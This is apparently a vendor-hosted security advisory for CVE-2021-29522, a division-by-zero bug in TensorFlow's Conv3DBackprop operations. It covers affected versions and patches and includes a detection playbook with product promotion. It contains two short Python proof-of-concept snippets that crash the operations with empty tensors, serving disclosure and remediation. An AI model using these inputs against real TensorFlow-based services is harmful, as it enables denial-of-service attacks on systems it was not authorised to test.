Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
LOW severity

GHSA-c968-pq7h-7fxv

LOWFix: tensorflow/tensorflow@311403e

GHSA-c968-pq7h-7fxv is a low-severity (CVSS 2.5) CWE-369 vulnerability in tensorflow. 1 public exploit reference exists, so weaponization risk is real. O3 Security confirms whether GHSA-c968-pq7h-7fxv is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Division by 0 in `Conv3DBackprop*`

Also known asBIT-tensorflow-2021-29522CVE-2021-29522PYSEC-2021-159PYSEC-2021-450PYSEC-2021-648
Published
May 21, 2021
Updated
Jul 8, 2026
Affected
12 pkgs
Patched
12 / 12
Exploits
1 known
Exploitation data as of Jul 8, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Real-World Exposure

12 pkgs affected
🐍tensorflow🐍tensorflow🐍tensorflow🐍tensorflow🐍tensorflow-cpu🐍tensorflow-cpu🐍tensorflow-cpu🐍tensorflow-cpu+4 more

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Impact

The tf.raw_ops.Conv3DBackprop* operations fail to validate that the input tensors are not empty. In turn, this would result in a division by 0:

import tensorflow as tf

input_sizes = tf.constant([0, 0, 0, 0, 0], shape=[5], dtype=tf.int32)
filter_tensor = tf.constant([], shape=[0, 0, 0, 1, 0], dtype=tf.float32)
out_backprop = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)
                            
tf.raw_ops.Conv3DBackpropInputV2(input_sizes=input_sizes, filter=filter_tensor, out_backprop=out_backprop, strides=[1, 1, 1, 1, 1], padding='SAME', data_format='NDHWC', dilations=[1, 1, 1, 1, 1])
import tensorflow as tf

input_sizes = tf.constant([1], shape=[1, 1, 1, 1, 1], dtype=tf.float32)
filter_tensor = tf.constant([0, 0, 0, 1, 0], shape=[5], dtype=tf.int32)
out_backprop = tf.constant([], shape=[1, 1, 1, 1, 0], dtype=tf.float32)

tf.raw_ops.Conv3DBackpropFilterV2(input=input_sizes, filter_sizes=filter_tensor, out_backprop=out_backprop, strides=[1, 1, 1, 1, 1], padding='SAME', data_format='NDHWC', dilations=[1, 1, 1, 1, 1])

This is because the implementation does not check that the divisor used in computing the shard size is not zero:

  const int64 size_A = output_image_size * dims.out_depth;
  const int64 size_B = filter_total_size * dims.out_depth;
  const int64 size_C = output_image_size * filter_total_size;
  const int64 work_unit_size = size_A + size_B + size_C;
  ...
  const size_t shard_size =
      use_parallel_contraction
        ? 1
        : (target_working_set_size + work_unit_size - 1) / work_unit_size;

Thus, if attacker controls the input sizes, they can trigger a denial of service via a division by zero error.

Patches

We have patched the issue in GitHub commit 311403edbc9816df80274bd1ea8b3c0c0f22c3fa.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Affected Packages

12 total 12 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPItensorflowall versions2.1.4
🐍PyPItensorflow2.2.0&&< 2.2.32.2.3
🐍PyPItensorflow2.3.0&&< 2.3.32.3.3
🐍PyPItensorflow2.4.0&&< 2.4.22.4.2
🐍PyPItensorflow-cpuall versions2.1.4
🐍PyPItensorflow-cpu2.2.0&&< 2.2.32.2.3
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tensorflow. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update tensorflow to 2.1.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-c968-pq7h-7fxv is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-c968-pq7h-7fxv is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-c968-pq7h-7fxv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Impact The `tf.raw_ops.Conv3DBackprop*` operations fail to validate that the input tensors are not empty. In turn, this would result in a division by 0: ```python import tensorflow as tf input_sizes = tf.constant([0, 0, 0, 0, 0], shape=[5], dtype=tf.int32) filter_tensor = tf.constant([], shape=[0, 0, 0, 1, 0], dtype=tf.float32) out_backprop = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32) tf.raw_ops.Conv3DBackpropInputV2(input_sizes=input_sizes, filter=filter_tensor, out_backprop=out_backprop, strides=[1, 1, 1, 1, 1], padding='SAME', data_format='ND
O3 Security · Impact-Aware SCA

Is GHSA-c968-pq7h-7fxv in your dependencies?

O3 detects GHSA-c968-pq7h-7fxv across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-c968-pq7h-7fxv: Division by 0 in… | O3 Security